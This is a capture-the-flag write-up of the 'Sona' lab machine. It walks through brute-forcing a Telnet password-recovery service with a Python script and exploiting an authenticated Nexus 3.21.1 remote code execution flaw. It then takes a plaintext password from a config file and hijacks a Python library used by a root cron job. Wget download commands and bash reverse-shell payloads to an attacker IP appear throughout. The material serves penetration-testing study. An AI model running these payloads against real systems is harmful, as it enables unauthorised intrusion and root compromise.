Sona - OSPG
Summary of Results
We’ll recover the admin
password via a Telnet service. With the valid credentials, we can further carry out a Remote Code Execution attack against the vulnerable Nexus Repository Manager
application and acquire an initial access. Local enumeration discloses a system user password, which we will leverage to mount a Python Library Hijacking attack and compromise root
access.
Attack Narrative
The attack is concluded in four phases:
- Enumeration.
- Initial Foothold.
- Local User Access.
- Privilege Escalation.
Enumeration
We’ll begin with a nmap
scan:
root@kali:~/sona# nmap -sV -sC --open 192.168.59.159 -oA nmap/services
PORT STATE SERVICE REASON VERSION
23/tcp open telnet? syn-ack ttl 64
8081/tcp open http syn-ack ttl 64 Jetty 9.4.18.v20190429
|_http-favicon: Unknown favicon MD5: 9A008BECDE9C5F250EDAD4F00E567721
| http-methods:
|_ Supported Methods: GET HEAD
| http-robots.txt: 2 disallowed entries
|_/repository/ /service/
|_http-server-header: Nexus/3.21.1-01 (OSS)
|_http-title: Nexus Repository Manager
- There are two running services: Telnet and HTTP.
Nexus Repository Manager 3
The nmap
results yielded some valuable information: Nexus/3.21.1-01
. However, when navigating to the site, we can’t harvest much information there.
Yet, we do notice that Nexus v3.21.1
is a vulnerable application that could lead to Remote Code Execution (RCE), but it requires administrator
access.
At this point, trying couple of basic combinations i.e. admin:admin
, root:toor
, etc. without returning a desire result, we move on to Telnet service.
Telnet Enumeration
Let’s us try to connect Telnet.
$ telnet 192.168.68.159 23
Trying 192.168.68.159...
Connected to 192.168.68.159.
Escape character is '^]'.
====================
NEXUS BACKUP MANAGER
====================
ANSONE Answer question one
ANSTWO Answer question two
BACKUP Perform backup
EXIT Exit
HELP Show help
HINT Show hints
RECOVER Recover admin password
RESTORE Restore backup
Inspecting the outputs, it is a custom backup application with compelling options. Within the scope of this writeup, we focuses on the four options: HINT
, ANSONE
, ANSTWO
and RECOVER
.
First thing first, lets access the HINT
option to examine its behavior:
$ telnet 192.168.68.159 23
Trying 192.168.68.159...
Connected to 192.168.68.159.
Escape character is '^]'.
====================
NEXUS BACKUP MANAGER
====================
ANSONE Answer question one
ANSTWO Answer question two
BACKUP Perform backup
EXIT Exit
HELP Show help
HINT Show hints
RECOVER Recover admin password
RESTORE Restore backup
HINT
1.What is your zodiac sign?
2.What is your favorite color?
And if we type an invalid option, it returns Incorrect
and closes the connection.
$ telnet 192.168.68.159 23
[...]
HINT
1.What is your zodiac sign?
2.What is your favorite color?
TEST
Incorrect
Connection closed by foreign host.
As we can see, there are two hints respectively related to ANSONE
and ANSTWO
. Lets us further examine those options.
$ telnet 192.168.68.159 23
[...]
ANSONE
Please Enter Answer
ANSONE <answer>
gemini
Incorrect
Connection closed by foreign host.
It requires us to submit an answer, and sends us back the result, i.e. Incorrect
→ closes the connection if wrong answer.
The same thing with ANSTWO
.
$ telnet 192.168.68.159 23
[...]
ANSTWO
Please Enter Answer
ANSTWO <answer>
blue
Incorrect
Connection closed by foreign host.
and also same with the RECOVER
option.
With those behaviours, it’s convenient to create an automatic script and brute force the answers.
$ cat ansone.py
#!/usr/bin/env python3
import socket
import sys
from time import sleep
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 23
IP = "192.168.68.159"
pwd_f = sys.argv[1]
with open(pwd_f, 'r', encoding='ISO-8859-1') as pwds:
pwds_read = pwds.readlines()
for pwd in pwds_read:
pwd = pwd.strip()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((IP, port))
s.recv(1024)
s.recv(1024)
try:
print(f"Trying password: {pwd}")
option = "<ANSONE|ANSTWO>"
s.send(bytes(option, "latin-1"))
s.recv(1024)
sleep(1)
s.send(bytes(pwd, "latin-1"))
d = s.recv(2048)
if not "Incorrect" in d.decode():
print(f"Found!: {pwd}")
break
else:
pass
except:
pass
- The above script is used to brute force the
ANSONE
option with a given wordlist. We can use the script as follow:
$ python3 ansone.py sign.txt # → sign.txt contents are zodiac signs
Trying password: aries
[...]
Found!: leo
and found the answer for question 1 is leo
.
- Next, we attack the
ANSTWO
.
With the similar script, but we want to change the value of option
variable to ANSTWO
, then execute:
$ python3 anstwo.py colors-list.txt # → colors-list.txt is a list of common colors
Trying password: alizarin
[...]
Found!: black
black
is the accurate answer for ANSTWO
.
Before running a script against the last option RECOVER
, we want to guess some simple combinations: leo
, black
, leoblack
, or blackleo
.
$ telnet 192.168.68.159 23
[...]
RECOVER
Please Enter Password
RECOVER <password>
blackleo
3e409e89-514c-4f9f-955e-dfa5c4083518
Perfectly, blackleo
yieled the admin
password! With the credentials, we are back to the point where Authenticated RCE was discovered.
Initial Foothold
Nexus Repository Manger 3 Exploitation
Conducting a few researches, we discover the application Nexus 3.21.1
is vulnerable to Java Expression Language (EL) injection. A successful exploitation will result to Remote Code Execution on the target system.
$ searchsploit sonatype
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) | java/webapps/49385.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- PoC can also be found here.
Now, we need to modify some variables in the exploit script.
URL
→ Nexus web application.CMD
→ Command we desire to execute on the target system.
it’s worth to notice that due to bad characters, a high chance the reverse shell will be failed if it’s directly called.
To overcome the situation, we’ll nest our reverse shell into a script → first CMD
is called to download the script → second CMD
is called to execute the downloaded script.
The idea works as the following:
- Start a python server.
$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Modify
CMD
to download the script.#CMD='wget 192.168.49.68:80/cmback.sh -O cmback.sh' # → The command is called to download `cmback.sh`. $ cat cmback.sh bash -c "bash -i >& /dev/tcp/192.168.49.68/8081 0>&1" # → Reverse shell is embedded in the `cmback.sh` script. $ python3 49385.py # → Execute the exploit script. [...]
- Modify
CMD
once again to execute the downloaded script.#CMD='bash cmback.sh' $ python3 49385.py # → Execute the exploit script.
After a few seconds, we got a reverse shell at port 8081 as nexus
.
$ sudo nc -nlvp 8081
Listening on 0.0.0.0 8081
Connection received on 192.168.68.159 42742
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
nexus@sona:~/nexus-3.21.1-01$
Local User Access
Plain-text password
A sona
user is discovered via the /etc/passwd
file.
nexus@sona:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
nexus:x:1000:1000::/home/nexus:/bin/sh
sona:x:1001:1001::/home/sona:/bin/sh
Further enumeration reveals a password of sona
stored in users.xml
file.
nexus@sona:/dev/shm$ cat /home/nexus/nexus-3.21.1-01/system/users.xml
<users>
<id>1001</id>
<username>sona</username>
<password>KuramaThe9</password>
</users>
With the new password, we can jump on sona
shell with su
command.
nexus@sona:/dev/shm$ su - sona
Password: KuramaThe9
$ bash
sona@sona:~$
Privilege Escalation
Crontab
Within the sona
home directory, we found a python script logcrypt.py
.
sona@sona:~$ ls -al
total 40
drwxrwxrw- 3 sona sona 4096 Aug 25 09:04 .
drwxr-xr-x 4 root root 4096 Feb 10 2021 ..
lrwxrwxrwx 1 root root 9 Feb 10 2021 .bash_history -> /dev/null
-rw-r--r-- 1 sona sona 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 sona sona 3771 Feb 25 2020 .bashrc
-r--r--r-- 1 sona sona 33 Aug 25 06:30 local.txt
-r-xr----- 1 root sona 210 Feb 10 2021 logcrypt.py
-rw-r--r-- 1 sona sona 807 Feb 25 2020 .profile
drwxr-xr-x 2 root root 4096 Aug 25 09:04 __pycache__
-rw------- 1 sona sona 2481 Aug 25 09:04 .viminfo
Lets us further inspect the script.
sona@sona:~$ cat logcrypt.py
#!/usr/bin/python3
import base64
log_file = open('/var/log/auth.log','rb')
crypt_data = base64.b64encode(log_file.read())
cryptlog_file = open('/tmp/log.crypt','wb')
cryptlog_file.write(crypt_data)
Primarily, the script will:
- → Load
base64.py
module. - → Open and read
/var/log/auth.log
. - → Encode its contents to base64 utilizing
b64encode
. - → Write the encoded contents to
/tmp/log.crypt
file.
Lets continually investigating the /tmp/log.crypt
file.
sona@sona:~$ ls -al /tmp/log.crypt
-rw-r--r-- 1 root root 49820 Aug 25 08:55 /tmp/log.crypt
sona@sona:~$ date
Wed 25 Aug 2021 08:56:01 AM UTC
The above commands comparing the modifying time of the log.crypt
(08:55 Aug 25
) and current timestamp (08:56 25 Aug
). They are closed to each other, this implies there is a type of crontab running.
On the other hand, its worth taking note that logcrypt.py
can only be executed by root
, so the crontab is running by root
.
Python Library Hijacking
When logcrypt.py
is executed, it searches for base64.py
module in the following locations:
PYTHONPATH
environment.- The current directory of the
logcrypt.py
. → This is exactly what we’re searching for. - Installation-dependent directories.
At this point, we should comprehend that base64.py
module is fully under our control.
In the sona
home directory, we create an evil base64.py
to manipulate logcrypt.py
behaviours.
Evil base64.py
module example:
sona@sona:~$ chmod 776 .
sona@sona:~$ nano base64.py
#!/usr/bin/python3
import os
def b64encode(arg):
os.system("bash -c 'bash -i >& /dev/tcp/192.168.49.68/23 0>&1'")
After a few minutes, our nc
caught reverse shell at port 23 as root
!.
$ sudo nc -nlvp 23
Listening on 0.0.0.0 23
Connection received on 192.168.68.159 45534
bash: cannot set terminal process group (44844): Inappropriate ioctl for device
bash: no job control in this shell
root@sona:~# id
id
uid=0(root) gid=0(root) groups=0(root)